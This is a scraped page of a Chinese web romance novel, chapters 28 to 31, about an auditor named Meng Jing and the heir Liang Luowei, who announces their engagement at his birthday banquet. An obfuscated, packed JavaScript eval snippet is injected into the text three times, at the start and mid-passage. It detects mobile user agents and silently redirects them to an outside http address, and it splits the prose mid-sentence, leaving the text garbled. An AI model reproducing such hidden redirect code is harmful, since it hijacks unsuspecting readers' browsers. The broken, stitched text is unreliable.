;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977808|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绍一下，PPWC前项目经理Sandra，因为在海外分部的审计中略有经验，这次回来支持一下国内所的工作。” Devin不满地补充：“是高级项目经理。” 张沛和她指尖轻握一下，迅速进入工作状态，从口袋中掏出名片递上，低头时才发现她手中的外套。 如果没记错，这件衣服在几小时前，是穿在自家老板身上的。 这些年在梁氏历练，张沛早就不是当初那个毛头小子，虽然表面上看着嘻嘻哈哈，但心思却是极细的。 梁珞唯的东西，如果不是他想给，谁又能从他手中拿走。 孟婧发现张沛的目光，顺势将外套递出，笑得自然：“刚才外面下雪，小梁总看我礼服单薄，好心借用了一会儿，张秘书能帮我还给他吗？” 张沛接过衣服，在心里撇嘴——小梁总好心？小梁总哪儿来的心。 Devin惊讶：“Sandra，你和梁认识？” 张沛替她回答：“大概五年前吧，我和孟婧当过小梁总手下的实习生，不过她干了一天就辞职了，也算是认识。” 原来如此。 孟婧跟着点点头。 Devin陷入回忆：“怪不得他之前还问过你的事情…” 孟婧警觉：“问了什么？” Devin拍拍她的肩膀：“放心，涉及你个人隐私的，在未经你同意之前，我不会和其他人说。” 孟婧松了口气：“多谢。” 张沛拿着衣服想要去后台，看了眼表，说：“快到时间了。” “什么时间？” “今天是我老板生日宴哎，当然是寿星出场发言！”张沛眼睛一亮看向远处，“来了！” 不用他说，孟婧也知道寿星本人要出场了。满室水晶灯又亮了几度，宴会厅二楼楼梯被侍者清出一块空地，梁珞唯就这样伴着悠扬的弦乐缓缓走下。 场面沸腾，宾客目光齐刷刷投射过去。 虽然没有聚光灯，所有人的目光却自然锁定在这个高大英俊的男人身上。 梁珞唯近些年在京城过得很低调，大部分传闻还停留在几年前众人对他的印象，如今，曾经的浪荡少年早已蜕变成翩翩公子，带着成年男人独有的矜贵和凌厉，让人不自觉屏住呼吸。 孟婧又开始听到一些窃窃私语。 “我算知道张家小姐为什么会为爱痴狂了。” “天呢，这也太帅了…他的瞳色居然是蓝黑色！！戳我xp啊！” “张家小姐中途走了，难道是去换礼服，准备隆重登场？” … 人声在梁珞唯的一句“各位，晚上好”之后逐渐安静下来。 孟婧站得远，但也能看清，梁珞唯换了衣服。 他穿了一身米白色西服，青果领，双排扣，温莎结规规矩矩挡在喉结正下方，搭配上深邃的五官和异国风情的双眸，宛如现实版的白马王子。 如果表情不是这么冷冰冰就更好了。 修长双腿从台阶上迈下，梁珞唯从容致辞，感谢几位重要贵宾，唯独少了科技新贵张家。就在众人面面相觑时，他的目光随意地从孟婧的方向掠过。 “今晚特地请大家来，还有一件事情要宣布。” 孟婧想起在花房的谈话，心里有准备，反而是身旁的张沛不自觉站直了一些。 “大家都知道，我爷爷梁富生，生前为我定了一桩亲事。”梁珞唯一只手插在裤子口袋中，既庄重又松弛，“目前接手公司的很多业务，也是他老人家留给我的。” “虽然年轻时做过一些荒唐事，但我还记得自己姓梁，梁家人绝不会忘恩负义。” 现场已经接近炸开，孟婧皱着眉后退两步，一脸不敢置信。 梁珞唯什么意思？她听明白了，又没有完全明白。刚才明明已经达成一致要退婚，现在又是在干嘛！？ 一定是脑子又出问题了，不然那个优雅磁性的声音怎么还在继续。 “父亲久病在床，梁家没有家长，所以我会亲自去孟家提亲，也请各位广而告之，别再有不相干的人来烦我。” “要说的就是这些。”男人已经走到宴会厅中央，笔直站在华彩之下，朝角落某处打了个响指，“开餐。” 29. 第二十九夜 孟婧顾不上听周围人是如何议论纷纷的，她现在唯一的念头就是把梁珞唯拉到一个没人的地方问清楚，这到底是怎么回事。 没有宣布取消婚约就算了，现在是什么意思，他要去她家提亲？呵呵，和谁提亲，和她五年没见的母亲，还是和那个根本没有血缘关系的养父？ 手上还攥着张沛递过来的名片，孟婧咬着下唇紧盯被人围着敬酒的始作俑者。他的秘书在这里，要约到他本人也不难。 回头却发现张沛早就跑没了影。 孟婧一脸疑惑：“Devin，张秘书去哪儿了？” Devin下巴朝梁珞唯所在的方向扬了下：“合格的秘书要学会第一时间去解救他的老板。” 只见张沛抱着毛呢外套，一路小跑着冲破人群，在梁珞唯耳边说了几句什么，随后，梁珞唯风度翩翩地和周围人致歉，快速离开了宴会厅。 “Sandra…”Devin看孟婧的眼神饱含关心，“梁曾经问过我你们联姻的事，我以为你不愿意，毕竟Toby还小。” 当初进组梁氏集团海外分部之前，孟婧考虑到是否应该回避的问题，向Devin说明了她和梁珞唯的这层关系。 根据她的调查，梁珞唯两年前就被正式被任命为梁氏集团副总裁。虽然她研究生毕业后就一直在国外工作，也从未接触过梁家，但毕竟是百亿的项目，她不敢因为自己给事务所添麻烦。 好在梁氏在海外的所有业务均由代理总裁梁庭什负责，孟婧又是个无足轻重的打工人，和梁家产生不了什么交集，这才顺利进组。 按说这点小事根本不需要合伙人来操心，但相识多年，Devin除去工作关系，对孟婧来说更像是家人。 “我想梁先生应该是误会了。”孟婧做了个深呼吸，“我不可能答应，Devin，你有他的联系方式吗？” Devin挑眉：“刚才在外面…” 孟婧摇摇头：“他让我联系张秘书。” Devin沉吟片刻：“梁是个边界感很强的人，如果他不想给，恐怕我也爱莫能助。” 孟婧无奈一笑，表示理解。外国佬在某些方面极其一根筋，对两方都秉承着保护个人隐私的态度，这样也好，起码她在国外的境况不会被卖给别人。 “也许今天不应该叫你来。”Devin一脸抱歉，“如果觉得累，可以先回去休息。” 梁珞唯已经官宣了他们的婚事，如果此刻再被京城的熟人认出来，又是麻烦一场。 “那就谢谢了。” Devin离开后，她拿出手机，对照张沛的名片添加微信好友申请，正输入时，被人从背后拍了拍肩膀。 “表姐？”是清脆的女声，“你怎么在这儿！？” 孟婧茫然回头，看到一个二十岁左右的女孩，穿着一条不算正式的白色连衣裙，长相甜美，笑容明媚。 “小仙？”孟婧张了张嘴，“你怎么来了？” “嗨，蹭吃蹭喝呗。”女孩儿抹掉嘴角的巧克力，上下打量孟婧，“我天…你比视频里漂亮多了…” 乔小仙，孟婧小姨的女儿，和已故的孟梦同岁。 她是孟婧在国外时唯一联系过的亲戚，虽然孟婧没有把自己的事情告诉她，但这个表妹人很热情，帮她收过一些国外寄回的快递，还主动提出替她收拾别墅。 如果不是因为这场宴会而提前回国，也许在机场接机的便是这位表妹。 “不是说下个月的飞机…”乔小仙以为自己看错了，“你来这里…刚才珞唯哥宣布的…” 孟婧抓着她的手嘘了一声。环顾四周，宾客们纷纷入席，聊着的也都是关于寿星年轻时的八卦，没人注意到她们两个。 “出去说？” “ok”乔小仙叽咕叽咕眼睛，顺势挽住她的胳膊，“反正我也吃差不多了，咱们直接走？我送你。” “行李在王府半岛。”出了门，孟婧的呼吸染上白雾，“本来是想晚宴结束后联系你的，我这次是公务出差，临时改签了。” “公务？”乔小仙讪笑几声，悄咪咪问，“公务…结婚？” “去你的。”孟婧被小辈打趣，有点不好意思，“联姻的事…是我和梁先生之间的误会，不过我会找他说清楚的。” “现在可不止是梁家的事儿。”乔小仙挽着孟婧走向停车场，“大姨向来消息灵通，现在应该已经知道了。” “你还是想想怎么应付她吧。” 孟婧陷入沉思。 此时正值宴会酣畅之时，没人注意到，白色保时捷卡宴在拥挤的停车场中闪烁几下尾灯，随即化成流畅线条，飞也似得驶离这座山。 早就过了拥堵时间，乔小仙在盘山道开得快而稳健，让孟婧有一瞬间的出神。 “姐，你那房子还没来得及收拾，先来我家住吧。” “嗯？啊…”孟婧对于住处没有要求，“你住哪里？” 下周她要跟着审计组去梁氏集团上班，不用想也知道要加班到深夜，如果太远，可能会不方便。 “溪山别苑，你旁边儿那栋。”乔小仙有点不好意思，“你也知道我爸妈常年在国外，他们想让我离你近点儿，以后也好有个照应。 孟婧哑然，怪不得她主动提出要帮自己收拾，这也太方便了。 “你…一个人住？”她对这个表妹的私生活并不了解，只知道乔小仙是个自由职业者，小说家还是漫画家之类的，在那个圈子里还算小有名气。 “是啊，单身狗嘛。房子之前一直在装修，我也是上个月才住进去，打算选一层开民宿。你就算是…提前探个店？” 好好的房子，怎么能让陌生人进进出出，孟婧不理解但支持，笑着说：“那就打扰了。” “哦对，我家还有一只4岁的边牧，姐你不怕狗吧？” “不怕，我还挺喜欢小动物的。”孟婧一直有养宠物的想法，无奈在国外养娃就要了半条命，“它叫什么？” “Toby！可爱吧。” “……” … 梁宅，会客室。 张沛进门后，将梁珞唯的外套挂在衣架上抚平，转身时发现老板在看自己。 “那个…孟婧托我还给您的。”他挠了挠头说，“她还向您表示感谢。” “你们很熟？”梁珞唯疲惫坐在单人沙发上，指指地毯上散落的玻璃渣，皱起眉头。 宴会开始前，他和梁庭什曾在这里大吵一架，后来梁庭什拄着拐杖摔门而去，没人传唤，谁也不敢再轻易进来。 张沛以为梁珞唯心烦的是那些碎物，忙叫了几个保洁人员，迅速将地毯处理干净，这才小心地问：“老大，梁总真去机场了？” “不然呢？”梁珞唯将温莎结挑散，松开两枚衬衫纽扣，喉结性感滚动，声音磁性低沉，“出了那么大事儿，总裁再不去接受处罚，股价要跌成什么样儿。” 根据海外最新审计和官方调查结果，梁氏集团不列颠分公司在去年存在重大舞弊行为，虚增营业收入28亿美元，虚增利润17亿美元，通过财务造假，部分高管存在巨大金额套现。 天塌了，也有个儿高的顶着，他梁珞唯不是站不到那个位置，这么多年韬光养晦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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至于那到底是什么，张沛没敢问过。老板很凶，对别人对自己都狠，这些年被换掉的助理两只手都数不过来，为了丰厚的年终奖，他也必须要坚持下去。 手机震动，是孟婧的好友申请，张沛温和一笑，还没来得及点同意，梁曼的语音通话便占了满屏。 张沛看了一眼梁珞唯身边那个黑屏砖头，估计是又设置了免打扰。 “老大，曼姐的电话。”张沛递上手机，“应该是找您的。” 梁珞唯将文件交出，接过手机：“有事？” “hi老弟，提前祝你新婚快乐。”梁曼此时在大洋彼岸度假，隔着时差也想来看个笑话，“你见到她了？” 梁珞唯嘁了一声，起身走到靠窗的位置：“没见到会宣布婚事？我还没混到那个份儿上。” “呦，我怎么还听出一点沾沾自喜呢。”电话那头吹来海风，“见面以后什么感觉，想起什么来没有？我还是那句话，五年前，你肯定有过一场单相思。” “我也说过不可能。”梁珞唯活动了一下酸胀的肩颈，“而且今天发生的事情也证明了我的猜想。” 从这个角度向外俯视，可以看到整个院子的彩灯，甚至某个露台处，灯带还被装饰成了蛋糕形状。 集团筹备组是把他当成小孩子了么。 梁珞唯想起后院中骤然亮起的花房，还有大雪中某人惊慌失措的脚步，蓝黑色的眼眸中闪过稍纵即逝的情绪。 嘴角变得松弛，仿佛上扬也并非难事，梁珞唯觉得今晚的一切都很顺利。 “明明是她先来找我，并且主动提出联姻的。” 30. 第三十夜 “梁珞唯。”梁曼的笑声伴着海风传过来，“这是我今年听过最好笑的笑话。” “不信就赶紧回来。”梁珞唯没打算在这件事上和她纠缠，他习惯以结果为导向，“梁庭什已经出境，我认为你也没有再休息的理由。” 三年前FINDER退出中国市场，梁曼创业失败。她不愿跟着家族里继续做酒店生意，又头铁开了个传媒公司。 没想到公司刚成立就赶上新媒体大火，梁曼抓住机遇主推自媒体和直播带货，短短几年下来，她的“漫漫传媒”已经在整个华北地区站稳脚跟。梁家产业又添了新的行业助力，梁曼也在家族里掌握了一些话语权。 没人知道的是，漫漫传媒的成立是梁珞唯的主意，背后最大出资人也是他。 这些年梁珞唯和梁庭什在梁氏集团明里暗里的斗法，各家势力大部分都是墙头草，梁曼最近几次出手频频明牌向着二少，梁珞唯不想让她卷进去太深。 “听听这是人话么，万恶的资本家。”梁曼骂了两句，阴阳怪气道，“话说…要不要我去查查，你未婚妻这几年是怎么过的？” “没必要。”梁珞唯抬手拨弄窗边的百叶，“联姻只是各取所需罢了，至于她的私生活，我没兴趣干涉。” “没必要～没兴趣～”梁曼撇嘴，“你就真什么都不记得了？” 五年前孟婧离职出国，梁珞唯像没事人一样把FINDER救场的工作做完，随后就生了一场大病。 那时候他和谭立的矛盾在圈子中悄然传开，梁家为了缓和关系，让梁珞唯出国休养，等到再回国时，梁曼开始发现他的不对劲。 破天荒向地像梁屹承低头，进了梁氏集团从普通项目经理开始工作，做人做事比以前更加很辣无情，连对梁庭什的态度也一百八十度大转弯。 也曾看见他大大方方的服药，问了只说是MIKE的最新治疗方案，虽然近些年确实没有再发病，但对于五年前的那些细节，他从未再提过。 这个男人，把自己活成了一个尖锐的谜团，让人无法靠近。 “我不认为有什么很重要的事情必须记得。” 为了防止梁曼继续说些不着四六的疯话，梁珞唯威胁：“等我去过孟家，两家的婚事就可以公开宣传了。如果你不着急回来，我会让张秘书替你买机票。” “谁家婚事是男方自己出面来提啊…孟家能乐意？”梁曼无奈地叹了口气，“你先别着急，等我回去拜会几个看好你的叔叔伯伯。” 毕竟涉及两家后续合作，怎么也不能让外人看笑话。 “那就谢了。” “突然这么客气让我心里很慌啊老弟。”梁曼问，“集团查出那么大问题，你就真一点不担心？” 梁珞唯嘁了一声，将手机举到面前，凑近收音口，轻声说：“我巴不得它早点完蛋，如果可以，我很乐意是补刀的那个。” 不等梁曼再说，他挂断了语音：“真是莫名其妙。” 嘟的一声，通话结束，手机页面上孟婧给张沛发送的好友申请跳出来。 Sandra.M：【hello，我是孟婧。】 可能是看他一直没有通过，刚刚又补发了一条。 Sandra.M：【张沛，我是孟婧，出国太久，以前的微信号作废。有点事请你帮忙，麻烦下班后通过一下：）】 有什么事情是非要下班说的？ 消息来得凑巧，梁珞唯并不是故意看到，他把手机还给张沛，顺便提了一句：“还得再去喝一轮。” “好的老大。”张沛已经整理好文件在门边候着，接过手机后直接放进文件包，“结束之后我送您回家。” 梁珞唯想了想：“如果你下班后还有事就算了。” “没有没有。”张沛以为这是老板对他的某种考验，笑嘻嘻挠挠头“我的心里只有工作。” 梁家旅游和酒店业务这些年大部分完成了线上转型，梁珞唯借着这次宴会，邀请了本市几位有名的电商平台老板谈合作。 今晚他宣布了和孟家的婚事，不论是特邀贵宾还是吃瓜群众，都有了借口上前敬一杯，梁珞唯也是破天荒地来者不拒。 待到散场，已经是晚上十一点。 梁珞唯已经很久没有喝过这么多，迈巴赫后排酒气冲天，他身上的毛呢外套半敞着，衬衫扣子松了一半，后脑抵着车窗，斜靠在后座上。 张沛启动车子，通过后视镜往梁珞唯的方向看：“老大，到富力还得一个小时，你…没事吧？” 梁珞唯住在城东的大平层，回家路上盘山道多，临时停车会很危险。 时间还来得及，他将车窗打开，垂眸呼吸着冰冷清新的空气，浓密的睫毛上托着几朵残缺雪片，上下眨动后化成水珠稳稳浮着。 “去溪山别苑。” 张沛了然，正色看了一眼时间，踩下油门。 * “姐，到了！”乔小仙从进小区就开始介绍她的房子，直到熄火才停下。 孟婧实在羡慕年轻人的精力充沛，航班的奔波和一晚上的高度紧张，她脑子里已经是一团浆糊，听得云里雾里，下车拿完行李，便径直走向车库中的某个角落。 “我天，你怎么知道这儿有电梯！” 孟婧也是有点晃神。虽然记忆已经不在，但身体和直觉却带她直接走到这里。 她揉了几下眼睛：“这里的结构和我那套房子应该一样。” “哦对，瞧我这脑子。” 两人进了电梯，上行至一层，门打开的瞬间，一道黑白相间的闪电顺着缝隙钻进来。 虽然速度极快，却并没有撞到孟婧，而是直接扑进了乔小仙的怀里。 “宝贝，妈妈回来啦。”乔小仙笑眯眯地揉着边牧的脑袋，“来和孟婧姐姐打个招呼！” 孟婧被吓了一跳，顿时清醒不少，对着歪头正看着她的漂亮大狗俯身道：“你好呀，小帅哥。” 边牧咧嘴笑了。 “Toby随我，颜控。”乔小仙带它出电梯，“长得好看的它都黏，姐你要小心咯。” “好巧，我也颜控。”孟婧走在后面，目不转睛地看着它油光水滑的背毛，“它有中文名字吗？” 叫Toby还真是有点…不习惯。 “当然有啦。”乔小仙带她参观客房，“不过没怎么用过，叫大壮。” “嗷呜！”边牧似乎听懂了，回头朝着孟婧眨眨眼，似乎在说“是我”。 孟婧笑着轻轻拍了一下它的屁股：“好孩子。” 乔小仙家的客房很多，除了她自己的卧室书房，其他统统装成了风格各异的二次元主题房。 孟婧本来也是暂住，挑了一个离主卧远一点的房间，为了方便和家里视频，毕竟她暂时不想透露Toby的事情。 和预计的一样，洗完澡出来就接到了大洋彼岸的facetime申请。 网络卡了两秒，视频接通，一个粉白的奶团子出现在屏幕上。 男孩水汪汪的大眼睛正一眨不眨地看着摄像头，肉乎乎的小手挠挠脸，歪着头：“阿婧！你那里怎么是黑天。” 奶声奶气，清晰洪亮。 孟婧的疲惫一扫而空，看了一眼身后没拉上的窗帘，放松地笑：“Toby，我们有时差。 “我知道。”小男孩得意地晃着脑袋，“阿婧的飞机做了时间机器，所以我要早点打给你，不然就来不及啦。” 孟婧眼中满是温柔：“Toby很贴心，阿婧很感动。” “阿婧，你的眼睛怎么红红的，你哭鼻纸了吗。” 孩子凑近，画面中只能模糊看到他胡乱眨动的睫毛：“是不是你没有按时吃药，然后就太想我了。” “吃啦。”孟婧笑着，“不要担心我。” “我下午踢球了，老师带其他小朋友洗手，我偷偷打给你。” Toby比了一个嘘的手势，大大的眼睛像两颗晶莹的葡萄：“阿婧，你不要太想我，太想我会生病，Toby不要你难过。” “好。”孟婧满口答应，“那你也要听老师和林屿哥哥的话，知道吗？” “Toby很听话的！”男孩挠了挠头，装作不经意地问，“阿婧见到Daddy了吗？” 孟婧一愣：“还没有，但是阿婧会努力的。” “那阿婧见到外公了吗？” Toby的视频背景是一片绿油油的草地，午后阳光晒在小团子身上，泛着暖暖的光。 孟婧将湿着的头发拨到肩后：“明天就去。” “别伤心，这个世界还有Toby陪你。”男孩儿奉上一个歪歪扭扭的飞吻，“不许哭。” 孟婧被逗笑：“阿婧很坚强的，和Toby一样坚强。” “嗯！阿婧，那里有白色的草。”肉肉的小指头像要钻进镜头里。 “这座城市下雪了。”孟婧将手机举到窗边，眼里亮晶晶的，“是初雪。” “初雪？”四岁小朋友还不懂什么叫浪漫，“会有圣诞老人吗？” “没有圣诞老人，但可以许愿。” “呜…”Toby皱着眉头思考一番，随即喜笑颜开，“那我希望——阿婧马上就能找到Daddy！” … 挂断视频，孟婧松了一口气，扬起的唇也慢慢落下。 关于Toby的身世，她也是毫无头绪。从外貌上无从判断，因为他和自己长得实在太像，唯一可以肯定的是，他的父亲是一位亚洲人。 林屿说过，那年夏天她可能在京市谈了一场短暂的恋爱，但是具体和谁，他也无从知晓。 还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008230|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是要调查清楚当年到底发生了什么才行。 孟婧又看了一眼手机，张沛还是没有同意她的好友申请，这几年国内工作卷得厉害，熬夜加班也是常有的事，本来就是求人，她不好打扰太多。 吹完头发，房间门也适时被敲响，轻轻两下，随后是乔小仙夹着嗓子的气音：“姐，睡了吗？” “还没，进来吧。” 可能是因为时差，或者是别的什么，孟婧突然不困了。 乔小仙推开房门，晃着摇粒绒的居家睡袍，举着一双筷子：“我煮了方便面，要不要吃？” “现在？”孟婧这些年带孩子，作息调整得极其规律，连熬夜都很少，“虽然不困，但也不饿。” “不困？那你帮我去遛狗吧！”乔小仙眼睛一亮，“刚才雪停，现在又开始下了，院子里很漂亮，Toby都玩儿疯了。” “大夜里遛狗！？”难道她刚二十六岁，就已经和年轻人有代沟了？ “嗨，我们写文的黑白颠倒，美好的一天才刚刚开始。”乔小仙拉她出去，“我的狗当然随我啦。” 震惊之余，孟婧倒真想出门走走。这里的一切既熟悉又陌生，她急于抓住点什么，仅凭直觉还远远不够。 没想到会下雪，所以行李里也没带厚衣服。乔小仙把自己那些花里胡哨的羽绒服全拿出来给孟婧挑，她选了一件纯白色到脚腕的，看着很厚实。 “这个虽然暖和，但是遛狗还是有点危险。”乔小仙打量着从头武装到脚的孟婧，“膝盖下面的拉索还是拉开吧，不然跑的时候容易滑倒。” “还要跑吗？” “emm…你一会儿就知道了。” 孟婧没溜过狗，在国外街道上看见的也多是小型犬，自然无法想象一只边牧在雪地上撒欢时需要多大力量。 好在她经常健身，体能尚可，心里也正憋着一股无名闷气，带着大壮飞奔了十几分钟，竟然没有滑倒。 大壮显然已经习惯了这个时间点活动，小区里一个人也没有，只剩它粗重的呼吸声和孟婧呼哧呼哧的“大壮！慢点！” 跑着跑着，大壮脚滑着拐了个弯，冲着一家院子叫了几声，随后加速冲了进去。孟婧被狗绳拽着也变了方向，但跑步姿势还是向前，脚下一滑便侧着摔到雪地中。 雪面松软，倒是不疼，只是手中一松，大壮挣脱束缚，径直跑进开着门的院子。 孟婧连忙爬起来，还没来得及抖落身上的雪，大壮又自己跑回来了。它尾巴摇得厉害，兴奋地跳着朝孟婧叫了几声。 “大家都睡觉了，不能叫。”孟婧嘘了两下，刚捡起绳子，就被它再次带飞。她踩着它刚才的脚印，被拽到几棵树下。 “这是别人家，不能…唔！” 羽绒服厚重，但她还是感觉到，自己落进了一个坚实宽阔的怀中。 几片雪花混着酒气呛进肺中，孟婧咳了几下，脚下又是一滑，下意识揪住对方的腰。 “咳咳…不好意思…”太丢人了！她不敢抬头。 可视线范围内的大衣样式和材质都让她有种极为熟悉的感觉。 就在她还没反应过来的时候，手里的牵引绳被对方勾走，同时，冰冷的声音在头顶响起：“孟小姐，Toby怎么会在你手上？” 边牧听到男人叫自己的名字，叫了两声，变得更加兴奋，血脉苏醒般蹦跳着绕两人转圈，牵引绳一圈圈拉紧，直至他们再次抱在一起。 孟婧心跳得飞快，脸也囧得发热，无奈小腿被勒得站不住，只能维持抱着腰的姿势。 “梁先生抱歉…我也是第一次…” 梁珞唯抓住孟婧的手臂维持平衡，虽然不如她慌乱，但也呼吸不稳:“第一次遛狗，还是第一次私闯民宅？” 这人怎么总是在误解她的话呢！在梁家是这样，现在又是！ “你怎么…”孟婧刚刚排解的火气再次燃起，抬头正要瞪他，却看到了难以置信的一幕。 落满白雪的枝头开满素净的小花，一支枝杈拨弄着梁珞唯一侧的头发，他微垂着头，眼眶泛红，眼角微微闪烁着光，似乎是…哭过？ 孟婧深吸一口气，到嘴边的话变成了“你怎么会在这。” “是啊，我怎么会在这儿。” 梁珞唯显然是喝醉了，手中的绳子掉了都没发现，边牧继续绕着跑着，两人之间纠缠的力量逐渐减轻，他还是没有松开抓着孟婧的那只手。 “梁先生，你还好吗？” “再说一遍吧。”梁珞唯像在自言自语，又像在认真描述一个请求，“昨天不算。” 孟婧被他茫然的眼神牵着走，忽略了两人之间的距离。 “说什么？” “生日快乐。” 男人口中呼出白雾，混着酒气蒸腾，遮住不远处的毛月亮。 31. 第三十一夜 乔小仙刚挂了编辑的电话，正好听到楼下传来开门声。她临出书房看了一眼表，比平时遛狗的耗时长了二十分钟。 别是出什么事了吧。 “小仙？”孟婧的声音从玄关传来，软软糯糯的，“大壮怎么趴在这里不动，是不是跑太快受伤了？” 乔小仙这才放心，边下楼梯边说：“它在等着擦jiojio呢，如果进房间乱踩泥脚印，我会罚他一天不能吃小饼干。” 大壮全身趴在地板上一动不动，只有一双大眼睛滴溜乱转，一会儿看孟婧，一会儿看主人，仿佛在展示自己的乖巧。 乔小仙像往常一养拿出一次性清洁手套，蹲下后吓了一跳：“天呢大壮同学，外面是下雪还是下泥啊？” 被孟婧带的，她居然也开始喜欢叫它大壮了。 大壮显然不在意到底叫什么，咧着嘴吐舌头，低头从下往上瞟着。 “还有你！姐！”乔小仙一时间不知道应该先擦狗还是先擦人，“你你你这是摔哪儿了？” 孟婧的纯白色羽绒服上尽是泥点子，背后还有整片的脏。 “不好意思啊小仙，把你衣服弄脏了。”孟婧把拉链拉开，自己拍了拍，“刚才不小心滑倒了。” “受伤没？怎么下摆这里还有绳子的痕迹，这不孝子又转圈捆人！”乔小仙冲狗屁股拍了一巴掌，宝贝似地抱着孟婧看，“姐你怎么脸还这么红，不会冻病了吧，哎我不应该让你去遛狗的，大下雪天的这崽子肯定疯！” “停停停。”孟婧连忙阻止乔小仙要摸到她额头的手，“小仙，你还带着手套。” “瞧我，一着急全乱套了。”乔小仙讪笑，弯腰伸手往大壮身上用力擦了一个来回，“有什么不舒服的要及时说呀，可不能让你刚回国就生病。” 孟婧做贼心虚般脱掉外套，用手背碰了碰脸蛋，冰凉和火热相触，麻麻扎扎的，她咬住下唇。 见乔小仙手忙脚乱的给大壮擦身体，她装作不经意地说：“刚才遛狗的时候，大壮跑去到A区一家的院子里，突然拐弯我才摔的。” “A区？”乔小仙想了想，“没什么熟人呢。” 孟婧轻咳两声，捋了一下散乱的头发：“那个，我好像在院子里看见梁珞唯了。” 像是为了附和，大壮嗷嗷叫了几声，咧嘴乖乖抬着四肢，随主人摆弄。 “哦哦，珞唯哥啊。”乔小仙意味深长地看了看孟婧，调侃道，“他不常住这儿的，可能是过生日想回来看看。缘分天注定呢姐，我先磕了昂。” 孟婧好奇地问，“你跟他…很熟？” “这醋不能乱吃呀，老男人可不是我的菜。” 乔小仙给大壮清理完毕，起身按了按后腰：“我爸妈不是一直在医药研究所上班么，和他的主治医生在工作上有点儿交集。我出国探亲时，跟爸妈一起见过他几次，算不上特别熟，但也算是有人情份往的。” “主治医生？”孟婧皱眉，“他生病了？” “这我就不太清楚了，我爸妈签了保密协议，我这也是从蛛丝马迹中分析出来的。” “你怎么这么八卦。” “我是颜控啊！”乔小仙自豪道，“老男人虽然不是我的菜，但世界上所有美强惨都值得本仙女的怜惜～” 孟婧无奈地摇摇头：“你可真是的。” “我明早要出差，要不今晚直接不睡了吧。”乔小仙推着孟婧到沙发上坐好，又在大壮的环绕下端来一盘水果，“反正你也不困，来吧！今晚我要把知道的关于珞唯哥的一切都告诉你！” “别别别，我可不感兴趣…”孟婧挣扎，想带着大壮一起回卧室，结果反被它按在沙发上。 “大壮要玩儿叠罗汉吗？” 乔小仙也咯咯笑着扑过去，两人一狗在沙发上打成一团。 孟婧回京后的第一天，竟感受到了久违的温暖。 * 雪下了一整夜，孟婧再醒来时，窗外已是满眼银装素裹。 虽然昨夜聊到很晚，但她意外地睡了个好觉，在时差和生物钟的双重作用下，还是早早醒了。 雪天不好打车，乔小仙在隔壁津市有个签售会，开车正好路过八宝山，便顺路送了她。 孟婧在车上睡了一路，下车时才堪堪清醒，早晨走得匆忙，连护肤品都忘了涂，车内暖风开得足，乍一下车，刺骨的寒风抽在脸上，紧绷绷得疼。 她穿的还是昨晚的羽绒服，帽子裹起来才感受到了温度，一边暗叹墓园的管理到位，一边踏上已被扫除积雪的石板路。 天气不好，来祭扫的人也不多，孟婧寻着记事本中的墓地编号走了一段路，整个园子里除了呼啸的西北风和角落处陌生人的抽泣，听不到其他任何声音。 她抬头看了眼不远处被雪压低枝头的松柏，莫名其妙地想起昨晚在梁珞唯家院子里的场景。 在她说出那句“生日快乐”之前，梁珞唯发稍之上的树枝被风吹动，掉下几块积雪，顺着他的脸颊落下，随后堆积在他毛呢外套的前襟上。他被冻到一般猛然惊醒，松开手低声说了句抱歉，便留下孟婧独自离开。 直到别墅内的灯光亮起，孟婧才意识到刚才发生了什么，后来她牵着大壮离开，梁珞唯都没有再出现。 被她瞧见失态的样子，他肯定尴尬死了。 又想起乔小仙和自己说的那些关于梁珞唯和他母亲的往事，孟婧心中荡着涟漪，对于这位“京城恶少”的畏惧不自觉减轻几分。 随着脚步深入，视野逐渐开阔，沈未山黑白色的照片出现在不远处的一座墓碑上。孟婧知道自己五年前必然来过这里，然而那时她一定想不到，出国后即将面对的是什么。 小路未经清扫，是光洁平整的雪面，被初升的太阳照得闪烁出光芒。孟婧咯吱咯吱踩过去，留下一行孤独的脚印，终于来到两座石碑面前。 鲜黄色的菊花陷在雪中，被风吹得摇曳，孟婧手缩在袖口里，用小臂将沈未山和孟梦墓碑上的残雪扫净。 “外公，孟梦，好久不见。”她脱去羽绒服的帽子，露出泛红的鼻头，“我回来了。” 还没想好要说什么，眼眶就先酸涩到不行：“这五年发生了很多事情，说实话，我自己还没有完全消化。” 孟婧揉了揉眼睛，手心有温热：“我曾经认为这辈子随时都可以结束的，但是现在看来，一切都是最好的安排。” “我在这世上又有了牵挂，抱歉，可能要很久很久以后才能和你们相见了。”她仰头看着天空，“你们的愿望，我也会努力完成的。” “…” 不远处的某座墓碑前，两个高大身影。 梁珞唯换了一件更厚的黑色外套，站在这里已经近一个小时。舅舅姜湛刚到，在姜渔的照片前放下一束白玫瑰，和梁珞唯带来的红玫瑰摆在一起。 “小渔，哥来看你了。” 